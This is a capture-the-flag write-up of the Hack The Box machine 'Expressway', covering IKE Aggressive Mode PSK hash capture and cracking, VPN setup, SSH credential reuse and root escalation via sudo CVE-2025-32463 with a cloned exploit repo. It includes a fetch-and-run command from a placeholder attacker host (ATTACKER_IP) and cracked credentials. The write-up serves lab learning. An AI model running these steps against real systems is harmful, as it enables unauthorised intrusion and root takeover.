HTB: Expressway

Enumeration

Starting off the way we always do, a full TCP port scan with nmap to see what we’re working with.

nmap -sC -sV -p- 10.129.238.52

Only one port comes back open:

Port	Service	Details
22	SSH	OpenSSH 10.0p2 (Debian)

Just SSH and nothing else? That’s unusual. When TCP gives you almost nothing, it’s time to check UDP.

nmap -sU --top-ports 1000 -sV -sC -T4 10.129.238.52

┌─[us-dedivip-4]─[10.10.14.97]─[shxriff@htb-9wfqgw3vcp]─[~]
└──╼ [★]$ nmap -sU --top-ports 1000 -sV -sC -T4 10.129.238.52
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-03 16:29 CST

Nmap scan report for 10.129.238.52
Host is up (0.0096s latency).
Not shown: 936 closed udp ports (port-unreach), 63 open|filtered udp ports (no-response)
PORT    STATE SERVICE VERSION
500/udp open  isakmp?
| fingerprint-strings: 
|   IKE_MAIN_MODE: 
|_    "3DUfwc
| ike-version: 
|   attributes: 
|     XAUTH
|_    Dead Peer Detection v1.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port500-UDP:V=7.94SVN%I=7%D=3/3%Time=69A76484%P=x86_64-pc-linux-gnu%r(I
SF:KE_MAIN_MODE,70,"\0\x11\"3DUfwc\x05\xb5N\xb8\x88\x1b\]\x01\x10\x02\0\0\
SF:0\0\0\0\0\0p\r\0\x004\0\0\0\x01\0\0\0\x01\0\0\0\(\x01\x01\0\x01\0\0\0\x
SF:20\x01\x01\0\0\x80\x01\0\x05\x80\x02\0\x02\x80\x04\0\x02\x80\x03\0\x01\
SF:x80\x0b\0\x01\x80\x0c\0\x01\r\0\0\x0c\t\0&\x89\xdf\xd6\xb7\x12\0\0\0\x1
SF:4\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\0")%r(IPSEC_START,9C,
SF:"1'\xfc\xb08\x10\x9e\x89\[\x93\xc5\xf3\xf2\x05\xae\xe6\x01\x10\x02\0\0\
SF:0\0\0\0\0\0\x9c\r\0\x004\0\0\0\x01\0\0\0\x01\0\0\0\(\x01\x01\0\x01\0\0\
SF:0\x20\x01\x01\0\0\x80\x01\0\x05\x80\x02\0\x02\x80\x04\0\x02\x80\x03\0\x
SF:03\x80\x0b\0\x01\x80\x0c\x0e\x10\r\0\0\x0c\t\0&\x89\xdf\xd6\xb7\x12\r\0
SF:\0\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\0\r\0\0\x18@H\xb
SF:7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\0\xd6\xc2\xd3\x80\0\0\0\0\0\0\x14\x90\x
SF:cb\x80\x91>\xbbin\x08c\x81\xb5\xecB{\x1f");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1325.78 seconds

Now we’re talking:

Port	Protocol	Service	Details
22/tcp	TCP	SSH	OpenSSH 10.0p2
500/udp	UDP	ISAKMP	IKE (with XAUTH)

The UDP scan reveals port 500 running ISAKMP (Internet Security Association and Key Management Protocol). This is the protocol used for negotiating IPsec VPN tunnels. The nmap output also shows IKE_MAIN_MODE in the fingerprint strings along with XAUTH and Dead Peer Detection v1.0, confirming this is an IKE VPN endpoint.

---

IKE Enumeration

So what exactly is ISAKMP/IKE? It’s the protocol that handles the first phase of setting up an IPsec VPN, negotiating encryption algorithms, authentication methods, and key exchange. There are two modes it can operate in:

• Main Mode is the default and more secure. It protects the identity of the peers and encrypts the authentication data.
• Aggressive Mode is faster (3 packets instead of 6) but significantly less secure. It exchanges keys, authentication, and IDs in the clear, which means it exposes the hash of the Pre-Shared Key (PSK). An attacker can capture this and crack it offline.

So the play here is to send an Aggressive Mode request with ike-scan and see if the server accepts it, which would expose the PSK hash.

sudo ike-scan -M -A 10.129.238.52

The -M flag enables multiline output for readability, and -A sends Aggressive Mode request. The handshake comes back with some very interesting information:

ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)

Two things here. First, we’ve got an internal domain name expressway.htb, which we add to /etc/hosts (This won’t be of any use later). Second, and more importantly, the ID field leaks a username: ike. That’s going to matter later.

---

Cracking the PSK

Now we run ike-scan again with the -P flag to output the PSK hash to a file we can crack.

sudo ike-scan -M -A -P 10.129.238.52

┌─[us-dedivip-4]─[10.10.14.97]─[shxriff@htb-9wfqgw3vcp]─[~]
└──╼ [★]$ sudo ike-scan -M -A -P 10.129.238.52
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52	Aggressive Mode Handshake returned
	HDR=(CKY-R=f906229d45064029)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	KeyExchange(128 bytes)
	Nonce(32 bytes)
	ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
	VID=09002689dfd6b712 (XAUTH)
	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
	Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
322107f28df7d6d93c11441ccebb8d6d875e8aba427c107d6a9510c8aa4a3760a3c0e38175a863bc1a87b659c9e4a65f1c4539b0b5eea8d8943c63053e084592e396dc902a14880efc8f5b36f60f6c47f7de7be0f76e56d6c2a5d33c8025d14de8a990f7a799daf90898187e3779bcdc67df74909f682c3f9e2a2edcac82a2ed:6b2e2c052c111a35c34b08edaf0ab8b35411727fa452ae6b8386d64241ed8ee76367a2ef2093e8464a1dfc51f7f5b51ef51db8c81d7cb74d76a13dcfcbb986579ff9c853173a8ee3bd137c0523a0d42ac2ec6be12546049b8edc16e39fc4efba3705b02c4863146acfef040cb9e10eedc47c59bbd852faed3e162d7399cafdbf:f906229d45064029:5a1d832855903cfd:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:2d7c9a2b4cda4c089140728ea22f3379154c4f94:5217f181f81c1b21d215a015de6d4c2f530ff1c537d69fbb3b650c1fee277d5d:e75bfeccbe0b845a01c0f2d9d059edc1e686f79d
Ending ike-scan 1.9.6: 1 hosts scanned in 0.019 seconds (53.25 hosts/sec).  1 returned handshake; 0 returned notify

This dumps the IKE PSK parameters (the full hash string). We echo that into a file called vpn_hash.txt.

echo "<hash_string>" > vpn_hash.txt

Now we crack it with psk-crack using rockyou.txt:

psk-crack -d /usr/share/wordlists/rockyou.txt vpn_hash.txt

We get a hit: freakingrockstarontheroad

---

VPN Connection with strongSwan (Turns Up Nothing)

Now that we have the PSK, we can connect to the IPsec VPN using strongSwan.

sudo apt install strongswan

First, we configure /etc/ipsec.secrets with the target IP and the cracked PSK:

sudo vim /etc/ipsec.secrets

Then we configure /etc/ipsec.conf by appending the connection details:

sudo vim /etc/ipsec.conf

conn expressway
    keyexchange=ikev1
    aggressive=yes
    authby=secret
    type=tunnel
    left=%defaultroute
    leftsourceip=%config
    right=10.129.238.52
    rightid=ike@expressway.htb
    ike=3des-sha1-modp1024!
    esp=3des-sha1!
    auto=add

These settings match the SA parameters from the ike-scan output (3DES encryption, SHA1 hash, modp1024 group, PSK authentication). Now we restart IPsec and bring the tunnel up:

sudo ipsec restart
sudo ipsec up expressway

The connection is established successfully. We’re now on the internal network through the VPN.

---

Initial Access

Now that we’re connected through the VPN, I re-scanned the target with nmap internally to see if any new ports opened up.

nmap -sV -sC -p- 10.129.238.52

Same result, just SSH. Nothing hidden behind the VPN.

Ok so let’s take a step back. We have a password freakingrockstarontheroad and a username ike which we got from the ID field when we ran the aggressive mode scan (Value=ike@expressway.htb). Let’s try credential reuse against SSH.

ssh ike@10.129.238.52

And there it was. I overthought everything, it turns out it was just a simple credential reuse attack. The PSK doubled as the user’s SSH password.

We get the user.txt flag.

---

Privilege Escalation

Time to escalate. To get linpeas onto the machine, we host it on a python server from our attack box then wget it from there:

# Attack box
cd /tmp/
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8000

# Victim machine
wget http://<ATTACKER_IP>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Linpeas reveals that the system is running sudo version 1.9.17, which is vulnerable to CVE-2025-32463. This vulnerability is a flaw in how sudo handles the -R/--chroot option. Sudo loads attacker-controlled shared libraries before performing privilege checks, which means any user with even a limited sudo rule can craft a malicious chroot environment containing a fake nsswitch.conf and a trojanized library, then execute arbitrary code as root.

We use this repository to exploit the vulnerability:

# Attack box
cd /tmp/
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
scp -r CVE-2025-32463/ ike@10.129.238.52:/tmp/
# Put in password

# Victim machine
cd /tmp/CVE-2025-32463/
./get_root.sh

And boom, we have root on the machine.

We cat /root/root.txt and grab the root flag.

---

Summary

The full attack chain for Expressway:

1. Recon: TCP nmap reveals only SSH, UDP scan finds ISAKMP/IKE on port 500
2. IKE Aggressive Mode: ike-scan sends an Aggressive Mode request, server accepts and leaks the username ike and the PSK hash
3. PSK Cracking: psk-crack with rockyou.txt cracks the PSK to freakingrockstarontheroad
4. VPN Connection: strongSwan configured with the cracked PSK to establish an IPsec tunnel
5. Credential Reuse: The VPN PSK is also ike’s SSH password, giving us user access
6. CVE-2025-32463: Sudo 1.9.17 chroot mishandling allows loading a trojanized library to escalate to root